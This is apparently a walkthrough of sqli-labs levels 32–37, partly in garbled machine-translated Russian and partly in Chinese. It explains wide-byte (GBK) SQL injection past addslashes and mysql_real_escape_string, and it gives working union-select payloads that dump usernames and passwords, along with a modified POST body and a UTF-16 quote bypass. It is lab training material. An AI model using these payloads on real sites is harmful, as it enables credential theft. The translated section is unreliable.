Менее 32
Передняя Basics: инъекции байт Wide
Справочные ссылки:
https://blog.csdn.net/helloc0de/article/details/76180190
https://blog.csdn.net/heiseweiye/article/details/82723478
Широкие байты: GB2312, GBK, GB18030, BIG5, SHIFT_JIS, такие как они часто говорят, байтовые, по сути, только два байта. Байтовое потенциальная проблема безопасности является ASCII символов (один байт) явление, о двух символов ASCII ошибочными для широкого характера.
Китайский, корейский, японский и т.д. Существует широкий байт, по умолчанию английский является байт.
При использовании соединения PHP MySQL при установке «набор character_set_client = GBK» вызовет проблемы транскодирования.
Примеры: ID = 1 «1 \» кодирование 1% 5c% после того, как 27 в SQL ID = \ «и ХХХХ инъекции не может быть завершена в это время
ID = 1% DF 'обработки 1% DF \' Кодирование 1% DF% 5c% после того, как 27 транспортируется в SQL ID = 1 «и XXX В это время существует широкий инъекции байт уязвимость
Рекомендуемое декодирование Сайт: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp
Первый подход:
Во-первых, выводится SQL заявления в коде.
Можно увидеть, что одна цитата закрыта, если вход 1», можно увидеть спасся
Мы можем ввести байт в ширину обработки 1% DF \ 'Кодирование 1% DF% 5c% после того, как 27 транспортируется в SQL ID = 1'
http://192.168.0.105/sqli-labs/Less-32/?id=0%df»союз выбрать 1,2, GROUP_CONCAT (CONCAT_WS (0x7e, имя пользователя, пароль)) из security.users - +
第二种办法:%5c代表的是\,%aa%5c'会转义成%aa %5c%5c %27%5c,然后进行组合:
这样也可以实现注入,其实原理是一样的:
http://192.168.0.105/sqli-labs/Less-32/?id=0%aa%5c' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
less-33
到这一关结束了tomcat的关卡,我就继续用docker环境了。
我们查看源码发现这一关用了addslashes()函数,用法:https://www.w3school.com.cn/php/func_string_addslashes.asp
其实与上一关的区别就是,这一关是使用函数过滤。而上一关用的是自定义过滤。
所以,我们也可以用宽字节注入办法解决:
http://192.168.0.106:300/Less-33/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
less-34
观察代码发现也用到了adds lashes()函数,理论上我们也可以用到上面的宽字节注入。但是并不行,因为用post传入数据,会再次编码。
抓包之后的uname:uname=admin%25df%27&passwd=ad&submit=Submit
所以这一步就是多加了一个转码%25,然后改包把25删去就可以了,这就是第一种办法:改包
第二种办法:将单引号的UTF-8转换为UTF-16的单引号模式 ‘ �’
�\‘ union select 1,2#
注意,这个符号在win2003中显示是不一样的:
这样就可以构造注入语句。
这是一种比较巧妙地绕WAF。
less-35
这一关基本与上一关相同,就是没有了数据包裹,所以不用‘直接进行注入:
http://192.168.0.106:300/Less-35/?id=0 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users
less-36
观察源码,发现与前面的区别就是使用的转义函数不一样:
mysql_real_escape_string函数(参考:https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp)
我们同样可以用之前的宽字节注入解决:
http://192.168.0.106:300/Less-36/?id=0%df' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+
less-37
37关与34关类似,都是post形式,区别就是转义函数的区别: mysql_real_escape_string()
所以第一种办法就是可以用34关的单引号utf-8转换为utf-16的形式:
�'union select 1,2#
可以构造语句。另外还有一点,post和get形式有区别,post形式只有两个字段所以select1,2
第二种办法:可以抓包对其进行宽字节注入